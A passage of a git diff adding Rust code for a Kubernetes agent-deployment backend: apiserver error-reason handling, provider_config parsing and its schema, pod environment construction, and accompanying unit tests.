GetParams, ListParams, PostParams, Preconditions}; +use kube::core::ErrorResponse; +use kube::{Client, Resource}; +use std::time::{Duration, Instant}; + +/// `Status.reason` values we branch on. Spelled once so the two 409 arms are +/// visibly the same discriminator read two ways. +/// +/// These are wire strings `apimachinery` chooses, not names this crate picks: +/// `StatusReasonAlreadyExists`, `StatusReasonConflict`, `StatusReasonNotFound`, +/// and `StatusReasonForbidden` in `k8s.io/apimachinery/pkg/apis/meta/v1/types.go`. +/// kube-core types `ErrorResponse::reason` as a bare `String`, so there is no +/// upstream constant to bind to and the spelling is pinned by test instead. +const REASON_ALREADY_EXISTS: &str = "AlreadyExists"; +const REASON_CONFLICT: &str = "Conflict"; +const REASON_NOT_FOUND: &str = "NotFound"; +const REASON_FORBIDDEN: &str = "Forbidden"; + +/// The apiserver-backed substrate for one deploy operation. +pub struct Cluster { + client: Client, + namespace: String, + /// Start of *this operation*, for the deadline. Monotonic: the 600s budget + /// must not move when the wall clock does. + started: Instant, +} + +/// The typed API error underneath a `kube::Error`, if it is one. +fn api_error(error: &kube::Error) -> Option<&ErrorResponse> { + match error { + kube::Error::Api(response) => Some(response), + _ => None, + } +} + +/// Does this error carry the given `Status.reason`? +fn reason_is(error: &kube::Error, reason: &str) -> bool { + api_error(error).is_some_and(|e| e.reason == reason) +} + +impl Cluster { + pub fn new(client: Client, namespace: &str) -> Self { + Self { + client, + namespace: namespace.to_string(), + started: Instant::now(), + } + } + + fn pods(&self) -> Api { + Api::namespaced(self.client.clone(), &self.namespace) + } + + fn secrets(&self) -> Api { + Api::namespaced(self.client.clone(), &self.namespace) + } + + /// List an object kind through the raw client so the response's HTTP + /// `Date` header is reachable. + /// + /// `Api::list` returns only the decoded body, and the apiserver's clock is + /// the *only* clock the orphan-Secret age gate may use — a desktop's local + /// clock running fast computes every in-flight Secret as expired + /// (`:1321-1335`). So the list goes through `Client::send`, which hands + /// back the whole `http::Response`. + async fn list_with_date( + &self, + selector: &str, + ) -> Result<(Vec, Option>), String> + where + K: Resource + + Clone + + serde::de::DeserializeOwned + + std::fmt::Debug, + K::DynamicType: Default, + { + let dt = K::DynamicType::default(); + let url = K::url_path(&dt, Some(&self.namespace)); + // resourceVersion deliberately unset: quorum read. + let params = ListParams { + label_selector: Some(selector.to_string()), + ..Default::default() + }; + let request = kube::core::Request::new(url) + .list(¶ms) + .map_err(|e| format!("could not build a list request: {e}"))?; + let (parts, body) = request.into_parts(); + let response = self + .client + .send(http::Request::from_parts(parts, body.into())) + .await + .map_err(|e| format!("could not list {}: {e}", K::plural(&dt)))?; + + // Parsed before the body is consumed, and independently of it: a + // missing or malformed header is not a list failure, it just means the + // orphan sweep has no clock and skips. + let server_now = response + .headers() + .get(http::header::DATE) + .and_then(|v| v.to_str().ok()) + .and_then(|v| DateTime::parse_from_rfc2822(v).ok()) + .map(|v| v.with_timezone(&Utc)); + + let bytes = http_body_util::BodyExt::collect(response.into_body()) + .await + .map_err(|e| format!("could not read the {} list body: {e}", K::plural(&dt)))? + .to_bytes(); + let list: kube::core::ObjectList = serde_json::from_slice(&bytes) + .map_err(|e| format!("could not decode the {} list: {e}", K::plural(&dt)))?; + + Ok((list.items, server_now)) + } +} + +impl Substrate for Cluster { + async fn ensure_namespace(&self, namespace: &str) -> Result<(), String> { + let api: Api = Api::all(self.client.clone()); + if api + .get_opt(namespace) + .await + .map_err(|e| format!("could not check whether namespace {namespace} exists: {e}"))? + .is_some() + { + return Ok(()); + } + + let spec = Namespace { + metadata: kube::core::ObjectMeta { + name: Some(namespace.to_string()), + ..Default::default() + }, + ..Default::default() + }; + match api.create(&PostParams::default(), &spec).await { + Ok(_) => Ok(()), + // Someone else created it between our check and our create. That + // is the desired end state, not a failure. + Err(e) if reason_is(&e, REASON_ALREADY_EXISTS) => Ok(()), + // Namespace-create is frequently denied on shared clusters. Name + // the exact command an operator runs, and never silently fall back + // to `default` — deploying an agent into someone else's namespace + // is worse than refusing (`:1002-1005`). + Err(e) if reason_is(&e, REASON_FORBIDDEN) => Err(format!( + "not authorized to create namespace {namespace}. Ask a cluster \ + administrator to run `kubectl create namespace {namespace}`, \ + then try again." + )), + Err(e) => Err(format!("could not create namespace {namespace}: {e}")), + } + } + + async fn list_pods(&self, selector: &str) -> Result<(Vec, Option>), String> { + self.list_with_date::(selector).await + } + + async fn list_secrets(&self, selector: &str) -> Result, String> { + Ok(self.list_with_date::(selector).await?.0) + } + + async fn secret_exists(&self, name: &str) -> Result { + // `GetParams::default()` leaves resourceVersion unset — the quorum + // read this check requires to be proof of anything. + match self.secrets().get_with(name, &GetParams::default()).await { + Ok(_) => Ok(true), + Err(e) if reason_is(&e, REASON_NOT_FOUND) => Ok(false), + Err(e) => Err(format!("could not check whether secret {name} exists: {e}")), + } + } + + async fn create_secret(&self, secret: &Secret) -> Result<(), String> { + let name = secret.metadata.name.clone().unwrap_or_default(); + self.secrets() + .create(&PostParams::default(), secret) + .await + .map(|_| ()) + .map_err(|e| format!("could not create secret {name}: {e}")) + } + + async fn create_pod(&self, pod: &Pod) -> Result { + let name = pod.metadata.name.clone().unwrap_or_default(); + match self.pods().create(&PostParams::default(), pod).await { + Ok(_) => Ok(CreateOutcome::Created), + // The deterministic name is taken: a concurrent attempt won the + // election. Discriminated on the reason — a 409 whose reason is + // `Conflict` is a different condition and must not be read as a + // lost race. + Err(e) if reason_is(&e, REASON_ALREADY_EXISTS) => Ok(CreateOutcome::AlreadyExists), + Err(e) => Err(format!("could not create pod {name}: {e}")), + } + } + + async fn delete_pod(&self, name: &str, fence: &Fence) -> Result { + let params = DeleteParams { + preconditions: Some(Preconditions { + uid: Some(fence.uid.clone()), + resource_version: Some(fence.resource_version.clone()), + }), + // grace_period_seconds deliberately unset: the pod's own 60s + // budget applies. + ..Default::default() + }; + match self.pods().delete(name, ¶ms).await { + Ok(_) => Ok(DeleteOutcome::Accepted), + Err(e) if reason_is(&e, REASON_NOT_FOUND) => Ok(DeleteOutcome::NotFound), + // The object changed since the observation that authorized this + // delete. Same HTTP code as the create race above, different + // reason, different meaning. + Err(e) if reason_is(&e, REASON_CONFLICT) => Ok(DeleteOutcome::PreconditionFailed), + Err(e) => Err(format!("could not delete pod {name}: {e}")), + } + } + + async fn delete_secret(&self, name: &str) -> Result<(), String> { + match self.secrets().delete(name, &DeleteParams::default()).await { + Ok(_) => Ok(()), + // Already gone is the desired end state. + Err(e) if reason_is(&e, REASON_NOT_FOUND) => Ok(()), + Err(e) => Err(format!("could not delete secret {name}: {e}")), + } + } + + async fn get_pod(&self, name: &str) -> Result, String> { + match self.pods().get_with(name, &GetParams::default()).await { + Ok(pod) => Ok(Some(pod)), + Err(e) if reason_is(&e, REASON_NOT_FOUND) => Ok(None), + Err(e) => Err(format!("could not read pod {name}: {e}")), + } + } + + async fn sleep(&self, duration: Duration) { + tokio::time::sleep(duration).await; + } + + fn elapsed(&self) -> Duration { + self.started.elapsed() + } +} + +#[cfg(test)] +mod tests { + use super::*; + use http::Response; + use kube::client::Body; + use std::sync::{Arc, Mutex}; + use tower::service_fn; + + fn list_response(date: Option<&str>) -> Response { + let mut response = Response::builder().status(200); + if let Some(date) = date { + response = response.header(http::header::DATE, date); + } + response + .body(Body::from( + serde_json::to_vec(&serde_json::json!({ + "apiVersion": "v1", + "kind": "PodList", + "metadata": {"resourceVersion": "17"}, + "items": [{ + "apiVersion": "v1", + "kind": "Pod", + "metadata": {"name": "sprig"}, + "spec": {"containers": [{"name": "agent", "image": "example.invalid/sprig@sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}]} + }] + })) + .unwrap(), + )) + .unwrap() + } + + async fn list_through_real_request_path( + date: Option<&'static str>, + ) -> (Vec, Option>, String) { + let observed_uri = Arc::new(Mutex::new(None)); + let service_uri = Arc::clone(&observed_uri); + let service = service_fn(move |request: http::Request| { + let service_uri = Arc::clone(&service_uri); + async move { + *service_uri.lock().unwrap() = Some(request.uri().to_string()); + Ok::<_, std::convert::Infallible>(list_response(date)) + } + }); + let cluster = Cluster::new(Client::new(service, "ignored"), "owned-ns"); + let result = cluster + .list_with_date::("app.kubernetes.io/managed-by=buzz-backend-kubernetes") + .await + .unwrap(); + let uri = observed_uri.lock().unwrap().take().unwrap(); + (result.0, result.1, uri) + } + + /// Exercise the shipped `Request` + `Client::send` seam. A fake + /// reconciler would not prove that kube-rs emits a quorum list request or + /// that the apiserver's clock survives body decoding. + #[tokio::test] + async fn list_with_date_uses_a_quorum_request_and_returns_the_server_clock() { + let (pods, server_now, uri) = + list_through_real_request_path(Some("Sun, 02 Aug 2026 04:00:00 GMT")).await; + + assert_eq!(pods.len(), 1, "fixture must contain one decoded pod"); + assert_eq!(pods[0].metadata.name.as_deref(), Some("sprig")); + assert!(uri.starts_with("/api/v1/namespaces/owned-ns/pods?")); + assert!( + uri.contains("labelSelector=app.kubernetes.io%2Fmanaged-by%3Dbuzz-backend-kubernetes") + ); + assert!( + !uri.contains("resourceVersion"), + "cache read leaked into {uri}" + ); + assert_eq!( + server_now.unwrap().to_rfc3339(), + "2026-08-02T04:00:00+00:00" + ); + } + + /// Header failure is deliberately not list failure: without a trustworthy + /// apiserver clock the orphan sweep skips, but normal reconciliation still + /// receives the decoded objects. + #[tokio::test] + async fn list_with_date_keeps_items_when_the_server_clock_is_unusable() { + for date in [Some("not a date"), None] { + let (pods, server_now, _) = list_through_real_request_path(date).await; + assert_eq!(pods.len(), 1, "fixture must contain one decoded pod"); + assert!(server_now.is_none(), "unexpected clock for {date:?}"); + } + } + + /// A typed apiserver error, as kube-rs surfaces it. + fn api(reason: &str, code: u16) -> kube::Error { + kube::Error::Api(ErrorResponse { + status: "Failure".into(), + message: String::new(), + reason: reason.into(), + code, + }) + } + + /// The one discriminator the whole file rests on, and the trap the spec + /// predicts: "an implementation that branches on the code alone will + /// eventually take the adoption path on a failed delete or vice versa" + /// (`:788-790`). + /// + /// Both of these are 409. Reading the *code* makes them identical; reading + /// `Status.reason` keeps a lost create race and a stale fence apart. The + /// mutation that must fail this test is `e.reason == …` → `e.code == 409`, + /// which no other test in the crate would catch — the fakes never produce + /// a real `kube::Error`. + #[test] + fn the_two_409s_are_never_conflated() { + let already_exists = api(REASON_ALREADY_EXISTS, 409); + let conflict = api(REASON_CONFLICT, 409); + + assert!(reason_is(&already_exists, REASON_ALREADY_EXISTS)); + assert!(reason_is(&conflict, REASON_CONFLICT)); + // The cross terms are the whole point. + assert!(!reason_is(&already_exists, REASON_CONFLICT)); + assert!(!reason_is(&conflict, REASON_ALREADY_EXISTS)); + } + + /// A transport-level failure is not an apiserver verdict. It must fall + /// through to the error arm rather than being read as any reason — a + /// connection reset silently classified as `NotFound` would report a pod + /// as confirmed-absent, which the classifier treats as proof. + #[test] + fn a_non_api_error_carries_no_reason() { + let transport = kube::Error::LinesCodecMaxLineLengthExceeded; + assert!(api_error(&transport).is_none()); + for reason in [ + REASON_ALREADY_EXISTS, + REASON_CONFLICT, + REASON_NOT_FOUND, + REASON_FORBIDDEN, + ] { + assert!(!reason_is(&transport, reason), "matched {reason}"); + } + } + + /// `reason` is `#[serde(default)]` in kube-core, so an apiserver that + /// omits it yields an empty string. That must match nothing rather than + /// matching an empty pattern by accident. + #[test] + fn an_absent_reason_matches_nothing() { + let bare = api("", 409); + assert!(!reason_is(&bare, REASON_ALREADY_EXISTS)); + assert!(!reason_is(&bare, REASON_CONFLICT)); + } + + /// The consts are the apiserver's spelling, asserted against literals + /// rather than against themselves. + /// + /// Every other test here references the consts symbolically on both sides + /// — fixture *and* assertion — which is true for any pair of distinct + /// values. That tests the discriminator is self-consistent, not that it is + /// correct: swapping the two 409 values inverts `AlreadyExists` and + /// `Conflict` at a real apiserver (`:788-790`'s failure, reached by + /// editing a string instead of a branch) with every other test still + /// green. These are `apimachinery`'s wire strings and kube-core exposes no + /// constant for them, so a literal is the only external anchor available. + /// Found by Quinn's mutation matrix; M2/M3/M4 survived without it. + #[test] + fn the_reason_consts_are_the_apiservers_spelling() { + assert_eq!(REASON_ALREADY_EXISTS, "AlreadyExists"); + assert_eq!(REASON_CONFLICT, "Conflict"); + assert_eq!(REASON_NOT_FOUND, "NotFound"); + assert_eq!(REASON_FORBIDDEN, "Forbidden"); + } +} diff --git a/crates/buzz-backend-kubernetes/src/config.rs b/crates/buzz-backend-kubernetes/src/config.rs new file mode 100644 index 0000000000..4d96735b7b --- /dev/null +++ b/crates/buzz-backend-kubernetes/src/config.rs @@ -0,0 +1,470 @@ +//! `provider_config` parsing and the `info` config schema +//! (spec §`provider_config` v1 fields, `docs/remote-agents.md:1384-1389`). +//! +//! Nine fields, all optional except `image` (required at parse time; the +//! schema offers the published sprig image as a prefill default — §Image). +//! No credential field exists, by I2: cluster auth comes from ambient +//! kubeconfig resolution and nothing else (`:196-198`). + +use crate::image::{self, ImageRef}; + +/// Resource requests and limits (§Pod shape: 1cpu/2Gi → 2cpu/4Gi, all four +/// configurable — `cargo build` in an agent workspace makes 500m/1Gi +/// unrealistic). +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Resources { + pub cpu_request: String, + pub memory_request: String, + pub cpu_limit: String, + pub memory_limit: String, +} + +impl Default for Resources { + fn default() -> Self { + Self { + cpu_request: "1".into(), + memory_request: "2Gi".into(), + cpu_limit: "2".into(), + memory_limit: "4Gi".into(), + } + } +} + +/// Default inactivity budget: the I5 opt-in (§Auto-Stop). The config field and +/// `BUZZ_ACP_EXIT_AFTER_INACTIVITY` are one knob, not two. +pub const DEFAULT_INACTIVITY_SECONDS: u64 = 7200; + +/// Default `image` schema prefill: the published sprig image, in tag+digest +/// form so the tag stays human-traceable to its git SHA while the digest does +/// the pinning (§Image — tag-only refs are rejected; `image::parse` drops the +/// tag on normalization). This is a UI prefill, not a baked fallback: `image` +/// stays required, an empty value still fails closed, and the value always +/// arrives explicitly in `provider_config`, so create-intent fingerprints are +/// unaffected by provider upgrades. +pub const DEFAULT_IMAGE: &str = "ghcr.io/block/buzz-sprig:sha-6530b58@sha256:17facfc7608d8ddb33bc056c9aaba1098f4ef6abe5655702fbfd7584d1f74d76"; + +/// Fixed nonzero UID/GID for the agent container (§Pod shape hardening). +pub const RUN_AS_UID: i64 = 10001; +pub const RUN_AS_GID: i64 = 10001; + +/// Writable workspace root; also `HOME` and the harness's cwd +/// (§Working directory). +pub const WORKSPACE_PATH: &str = "/home/agent"; + +/// `terminationGracePeriodSeconds` — a declared budget, not a derived sum +/// (§Pod shape). Kubernetes' default 30s would SIGKILL the harness mid-drain. +pub const TERMINATION_GRACE_SECONDS: i64 = 60; + +/// The only restart policy v1 ships. `OnFailure` is double-gated on the +/// harness exit-code contract *and* a crash-loop classification row the state +/// machine does not have (`:1121-1139`); until both land the provider refuses +/// the combination rather than shipping against an undefended convention. +pub const RESTART_POLICY: &str = "Never"; + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct ProviderConfig { + /// kubeconfig context; `None` uses the current context. + pub context: Option, + pub namespace: String, + pub image: ImageRef, + pub resources: Resources, + /// `None` when `inactivity_seconds` was 0 — refused in v1, see [`parse`]. + pub inactivity_seconds: Option, + pub service_account: Option, +} + +/// Read an optional non-empty string field. Rejects non-string scalars rather +/// than stringifying them, so a mistyped field is named at the boundary. +fn optional_string(cfg: &serde_json::Value, field: &str) -> Result, String> { + match cfg.get(field) { + None | Some(serde_json::Value::Null) => Ok(None), + Some(serde_json::Value::String(s)) if s.trim().is_empty() => Ok(None), + Some(serde_json::Value::String(s)) => Ok(Some(s.trim().to_string())), + Some(other) => Err(format!( + "provider_config.{field} must be a string, got {other}" + )), + } +} + +/// Read an optional unsigned integer. The desktop's form omits blank numeric +/// fields rather than sending `""`, but a hand-crafted payload may send a +/// numeric string — accept both, refuse anything else. +fn optional_u64(cfg: &serde_json::Value, field: &str) -> Result, String> { + match cfg.get(field) { + None | Some(serde_json::Value::Null) => Ok(None), + Some(serde_json::Value::Number(n)) => n.as_u64().map(Some).ok_or_else(|| { + format!("provider_config.{field} must be a non-negative integer, got {n}") + }), + Some(serde_json::Value::String(s)) if s.trim().is_empty() => Ok(None), + Some(serde_json::Value::String(s)) => s.trim().parse::().map(Some).map_err(|_| { + format!("provider_config.{field} must be a non-negative integer, got {s:?}") + }), + Some(other) => Err(format!( + "provider_config.{field} must be a non-negative integer, got {other}" + )), + } +} + +/// A Kubernetes namespace name: RFC 1123 label, ≤63 chars. Validated here so a +/// typo fails with a named field instead of an apiserver rejection partway +/// through a deploy. +fn valid_namespace(name: &str) -> bool { + !name.is_empty() + && name.len() <= 63 + && name.starts_with(|c: char| c.is_ascii_lowercase() || c.is_ascii_digit()) + && name.ends_with(|c: char| c.is_ascii_lowercase() || c.is_ascii_digit()) + && name + .chars() + .all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-') +} + +pub fn parse(cfg: &serde_json::Value) -> Result { + if !cfg.is_object() && !cfg.is_null() { + return Err("provider_config must be a JSON object".to_string()); + } + + let namespace = optional_string(cfg, "namespace")?.ok_or_else(|| { + "provider_config.namespace is required: the info schema supplies a \ + generated default, so an empty value means the form was cleared" + .to_string() + })?; + if !valid_namespace(&namespace) { + return Err(format!( + "provider_config.namespace {namespace:?} is not a valid Kubernetes \ + namespace (lowercase alphanumerics and '-', ≤63 characters)" + )); + } + + let image = image::parse(optional_string(cfg, "image")?.unwrap_or_default().as_str())?; + + let defaults = Resources::default(); + let resources = Resources { + cpu_request: optional_string(cfg, "cpu_request")?.unwrap_or(defaults.cpu_request), + memory_request: optional_string(cfg, "memory_request")?.unwrap_or(defaults.memory_request), + cpu_limit: optional_string(cfg, "cpu_limit")?.unwrap_or(defaults.cpu_limit), + memory_limit: optional_string(cfg, "memory_limit")?.unwrap_or(defaults.memory_limit), + }; + + // `inactivity_seconds: 0` is a legal, blessed value in the spec (§Auto-Stop) + // meaning "no auto-stop" — but it selects `restartPolicy: OnFailure`, which + // §Pod shape forbids until the harness exit-code contract is pinned AND the + // state machine gains a crash-loop row. Refusing the *combination* is what + // the spec asks for; silently downgrading to `Never` would ship an + // indefinite agent that dies on its first crash. + let inactivity_seconds = match optional_u64(cfg, "inactivity_seconds")? { + None => Some(DEFAULT_INACTIVITY_SECONDS), + Some(0) => { + return Err( + "provider_config.inactivity_seconds: 0 (indefinite lifetime) is not \ + supported in this version: it requires restartPolicy OnFailure, \ + which is gated on the harness exit-code contract. Set a positive \ + number of seconds." + .to_string(), + ) + } + Some(n) => Some(n), + }; + + Ok(ProviderConfig { + context: optional_string(cfg, "context")?, + namespace, + image, + resources, + inactivity_seconds, + service_account: optional_string(cfg, "service_account")?, + }) +} + +/// A fresh `buzz-agents-` namespace default. +/// +/// Computed per `info` call, which is how "random default" is satisfied with +/// zero UI changes: the schema's `default` prefills the form (§K8s Namespace). +pub fn generated_namespace() -> String { + use rand::RngExt; + const ALPHABET: &[u8] = b"abcdefghijklmnopqrstuvwxyz0123456789"; + let mut rng = rand::rng(); + let suffix: String = (0..6) + .map(|_| ALPHABET[rng.random_range(0..ALPHABET.len())] as char) + .collect(); + format!("buzz-agents-{suffix}") +} + +/// The `config_schema` returned by `info`. Drives the UI form: +/// `properties[*].default` prefill, scalar coercion, `required` gating +/// (`:407-411`). +pub fn config_schema() -> serde_json::Value { + let defaults = Resources::default(); + serde_json::json!({ + "type": "object", + "properties": { + "context": { + "type": "string", + "title": "Kubeconfig context", + "description": "Context from your kubeconfig. Leave empty to use the current context." + }, + "namespace": { + "type": "string", + "title": "Namespace", + "description": "Created if it does not exist.", + "default": generated_namespace() + }, + "image": { + "type": "string", + "title": "Agent image", + "description": "Digest-pinned image containing the buzz-acp runtime ABI, e.g. ghcr.io/block/buzz-sprig@sha256:. Tags alone are not accepted: this pod holds the agent's private key.", + "default": DEFAULT_IMAGE + }, + "cpu_request": { + "type": "string", "title": "CPU request", "default": defaults.cpu_request + }, + "memory_request": { + "type": "string", "title": "Memory request", "default": defaults.memory_request + }, + "cpu_limit": { + "type": "string", "title": "CPU limit", "default": defaults.cpu_limit + }, + "memory_limit": { + "type": "string", "title": "Memory limit", "default": defaults.memory_limit + }, + "inactivity_seconds": { + "type": "number", + "title": "Stop after inactivity (seconds)", + "description": "The agent exits after this long with no work, and can be started again at any time.", + "default": DEFAULT_INACTIVITY_SECONDS + }, + "service_account": { + "type": "string", + "title": "Service account", + "description": "Scheduling/RBAC identity only. No API token is mounted." + } + }, + "required": ["namespace", "image"] + }) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn digest_ref() -> String { + format!("ghcr.io/block/buzz-sprig@sha256:{}", "a".repeat(64)) + } + + fn minimal() -> serde_json::Value { + serde_json::json!({"namespace": "buzz-agents-abc123", "image": digest_ref()}) + } + + #[test] + fn applies_spec_defaults() { + let c = parse(&minimal()).unwrap(); + assert_eq!(c.resources, Resources::default()); + assert_eq!(c.resources.cpu_request, "1"); + assert_eq!(c.resources.memory_request, "2Gi"); + assert_eq!(c.resources.cpu_limit, "2"); + assert_eq!(c.resources.memory_limit, "4Gi"); + assert_eq!(c.inactivity_seconds, Some(DEFAULT_INACTIVITY_SECONDS)); + assert_eq!(c.context, None); + assert_eq!(c.service_account, None); + } + + #[test] + fn all_four_resources_are_configurable() { + let mut cfg = minimal(); + cfg["cpu_request"] = "500m".into(); + cfg["memory_request"] = "1Gi".into(); + cfg["cpu_limit"] = "4".into(); + cfg["memory_limit"] = "8Gi".into(); + let c = parse(&cfg).unwrap(); + assert_eq!( + c.resources, + Resources { + cpu_request: "500m".into(), + memory_request: "1Gi".into(), + cpu_limit: "4".into(), + memory_limit: "8Gi".into(), + } + ); + } + + /// The desktop's form omits blank numeric fields; a hand-crafted payload + /// may send a numeric string. Both must mean the same thing. + #[test] + fn inactivity_accepts_number_string_and_omission() { + let mut cfg = minimal(); + cfg["inactivity_seconds"] = serde_json::json!(300); + assert_eq!(parse(&cfg).unwrap().inactivity_seconds, Some(300)); + + cfg["inactivity_seconds"] = serde_json::json!("300"); + assert_eq!(parse(&cfg).unwrap().inactivity_seconds, Some(300)); + + cfg["inactivity_seconds"] = serde_json::json!(""); + assert_eq!( + parse(&cfg).unwrap().inactivity_seconds, + Some(DEFAULT_INACTIVITY_SECONDS) + ); + } + + /// Indefinite lifetime selects `OnFailure`, which is gated. Refuse rather + /// than silently downgrade — a downgraded agent dies on its first crash + /// while the user believes they asked for indefinite. + #[test] + fn refuses_indefinite_lifetime() { + let mut cfg = minimal(); + cfg["inactivity_seconds"] = serde_json::json!(0); + let err = parse(&cfg).unwrap_err(); + assert!(err.contains("inactivity_seconds"), "got: {err}"); + assert!( + err.contains("OnFailure"), + "error should name the gate: {err}" + ); + } + + #[test] + fn rejects_negative_and_non_numeric_inactivity() { + for bad in [ + serde_json::json!(-1), + serde_json::json!(1.5), + serde_json::json!("soon"), + serde_json::json!(true), + ] { + let mut cfg = minimal(); + cfg["inactivity_seconds"] = bad.clone(); + assert!(parse(&cfg).is_err(), "accepted {bad}"); + } + } + + #[test] + fn image_is_required_and_must_be_digest_pinned() { + let mut cfg = minimal(); + cfg.as_object_mut().unwrap().remove("image"); + assert!(parse(&cfg).unwrap_err().contains("provider_config.image")); + + cfg["image"] = "ghcr.io/block/buzz-sprig:latest".into(); + assert!(parse(&cfg).unwrap_err().contains("digest-pinned")); + } + + #[test] + fn rejects_invalid_namespace_names() { + for bad in [ + "", + "Buzz-Agents", + "-leading", + "trailing-", + "has_underscore", + &"n".repeat(64), + ] { + let mut cfg = minimal(); + cfg["namespace"] = bad.into(); + assert!(parse(&cfg).is_err(), "accepted namespace {bad:?}"); + } + } + + /// I2 corollary: there is no config path for cluster credentials, so a + /// caller that tries to supply one gets no effect from it. Asserting the + /// parsed struct has no such field is the closest a test can get to + /// "the type makes it impossible". + #[test] + fn credential_fields_have_no_effect() { + let mut cfg = minimal(); + cfg["token"] = "hunter2".into(); + cfg["client_key"] = "hunter2".into(); + let c = parse(&cfg).unwrap(); + let rendered = format!("{c:?}"); + assert!( + !rendered.contains("hunter2"), + "config absorbed a credential: {rendered}" + ); + } + + #[test] + fn mistyped_string_fields_are_named() { + let mut cfg = minimal(); + cfg["namespace"] = serde_json::json!(42); + assert!(parse(&cfg) + .unwrap_err() + .contains("provider_config.namespace")); + } + + #[test] + fn generated_namespaces_are_fresh_and_valid() { + let a = generated_namespace(); + let b = generated_namespace(); + assert_ne!(a, b, "namespace default is not random"); + assert!(valid_namespace(&a), "{a} is not a valid namespace"); + assert!(a.starts_with("buzz-agents-")); + assert_eq!(a.len(), "buzz-agents-".len() + 6); + } + + /// The schema's own namespace default must be a value the parser accepts — + /// otherwise the UI prefills a form that fails on submit. + #[test] + fn schema_default_namespace_round_trips_through_parse() { + let schema = config_schema(); + let default = schema["properties"]["namespace"]["default"] + .as_str() + .unwrap(); + let cfg = serde_json::json!({"namespace": default, "image": digest_ref()}); + assert_eq!(parse(&cfg).unwrap().namespace, default); + } + + /// Same guarantee for the image prefill: the schema's default must be a + /// value `image::parse` accepts, or the UI prefills a form that fails on + /// submit. Its tag+digest form normalizes to the tagless canonical form. + #[test] + fn schema_default_image_round_trips_through_parse() { + let schema = config_schema(); + let default = schema["properties"]["image"]["default"].as_str().unwrap(); + assert_eq!(default, DEFAULT_IMAGE); + let cfg = serde_json::json!({"namespace": "buzz-agents-abc123", "image": default}); + let parsed = parse(&cfg).unwrap(); + assert_eq!( + parsed.image.as_str(), + "ghcr.io/block/buzz-sprig@sha256:17facfc7608d8ddb33bc056c9aaba1098f4ef6abe5655702fbfd7584d1f74d76" + ); + } + + /// Nine fields exactly (§`provider_config` v1 fields). The cap is 20; the + /// count is pinned so a field added without a spec change is caught here. + #[test] + fn schema_declares_exactly_the_nine_v1_fields() { + let schema = config_schema(); + let props = schema["properties"].as_object().unwrap(); + let mut keys: Vec<&str> = props.keys().map(String::as_str).collect(); + keys.sort(); + assert_eq!( + keys, + [ + "context", + "cpu_limit", + "cpu_request", + "image", + "inactivity_seconds", + "memory_limit", + "memory_request", + "namespace", + "service_account" + ] + ); + assert_eq!( + schema["required"], + serde_json::json!(["namespace", "image"]) + ); + } + + /// I2's key lint rejects any field whose word-split contains + /// secret|password|token|key|credential. A schema field tripping it would + /// make every deploy fail validation desktop-side (`:185-198`). + #[test] + fn no_schema_field_trips_the_i2_key_lint() { + const BANNED: [&str; 5] = ["secret", "password", "token", "key", "credential"]; + let schema = config_schema(); + for field in schema["properties"].as_object().unwrap().keys() { + for word in field.split(['_', '-']) { + assert!( + !BANNED.contains(&word), + "field {field:?} contains I2-banned word {word:?}" + ); + } + } + } +} diff --git a/crates/buzz-backend-kubernetes/src/env.rs b/crates/buzz-backend-kubernetes/src/env.rs new file mode 100644 index 0000000000..badff621e8 --- /dev/null +++ b/crates/buzz-backend-kubernetes/src/env.rs @@ -0,0 +1,732 @@ +//! Building the pod environment (spec §Launch data, §Entrypoint mapping table). +//! +//! The three tiers are resolved *here*, before serialization, because a +//! Kubernetes Secret's `data` is a flat map with no precedence of its own: if +//! two tiers supplied the same key, whichever entry landed in the map would +//! win silently. Resolving in-provider makes later-wins explicit and testable. + +use crate::wire::{AgentPayload, LaunchBlock}; +use std::collections::BTreeMap; + +/// Keys the authoritative tier owns. +/// +/// Load-bearing, not documentation: tier 3 *clears* every key on this list +/// before writing its own values, so a key the authoritative tier has no value +/// for is **removed** rather than left holding a lower-tier value. Plain +/// overwrite is not enough — most of these are written conditionally +/// (`BUZZ_ACP_AGENT_ARGS` only when `launch.args` is non-empty, +/// `BUZZ_ACP_RESPOND_TO` only when set), and without the clear, a lower tier +/// could supply the value for exactly the cases the authoritative tier stays +/// silent on. Clearing is also what the local spawn does: the desktop strips +/// reserved keys from user env before the authoritative layer is written +/// (`env_vars.rs:54-57`), so absent-means-absent in both paths. +const AUTHORITATIVE_KEYS: &[&str] = &[ + "BUZZ_RELAY_URL", + "BUZZ_PRIVATE_KEY", + "NOSTR_PRIVATE_KEY", + "BUZZ_AUTH_TAG", + "BUZZ_ACP_AGENT_OWNER", + "BUZZ_ACP_AGENT_COMMAND", + "BUZZ_ACP_AGENT_ARGS", + "BUZZ_ACP_RESPOND_TO", + "BUZZ_ACP_RESPOND_TO_ALLOWLIST", + "BUZZ_ACP_MCP_COMMAND", + "BUZZ_ACP_EXIT_AFTER_INACTIVITY", + START_NONCE_KEY, +]; + +/// The attempt's generation, as the harness sees it. Also the Secret's name +/// suffix — one generation, one identity — so the reconciler restamps this on +/// every create attempt rather than letting the caller's value persist across +/// a retry. +pub const START_NONCE_KEY: &str = "BUZZ_MANAGED_AGENT_START_NONCE"; + +/// Presence is the only remote liveness signal (I3), so a launch that +/// suppresses it is non-conforming (L1 item 2) — and unlike a reserved-key +/// collision, there is no "authoritative value" to overwrite it with. Refuse. +const FORBIDDEN_KEY: &str = "BUZZ_ACP_NO_PRESENCE"; + +/// Kubernetes' own cap on the summed value bytes of a Secret +/// (`MaxSecretSize`, `pkg/apis/core/types.go`). Enforced here so an oversized +/// env surfaces as a named provider error rather than an apiserver rejection +/// partway through a deploy. +const MAX_SECRET_BYTES: usize = 1024 * 1024; + +/// A POSIX-shaped env var name: `[A-Za-z_][A-Za-z0-9_]*`. +/// +/// Kubernetes validates Secret *keys* as `IsConfigMapKey` +/// (`[-._a-zA-Z0-9]+`), which is looser — `foo.bar` is a legal Secret key. +/// What the kubelet then does with such a key **changed between versions**: +/// through 1.29 it filtered invalid env names out of `envFrom` and emitted an +/// `InvalidEnvironmentVariableNames` warning event +/// (`pkg/kubelet/kubelet_pods.go:646,654` at v1.29.0); from 1.30 that filter +/// is gone (KEP-4369) and the key is injected verbatim. The same manifest +/// would silently drop a variable on one cluster and set it on another, so we +/// fail closed on the provider side 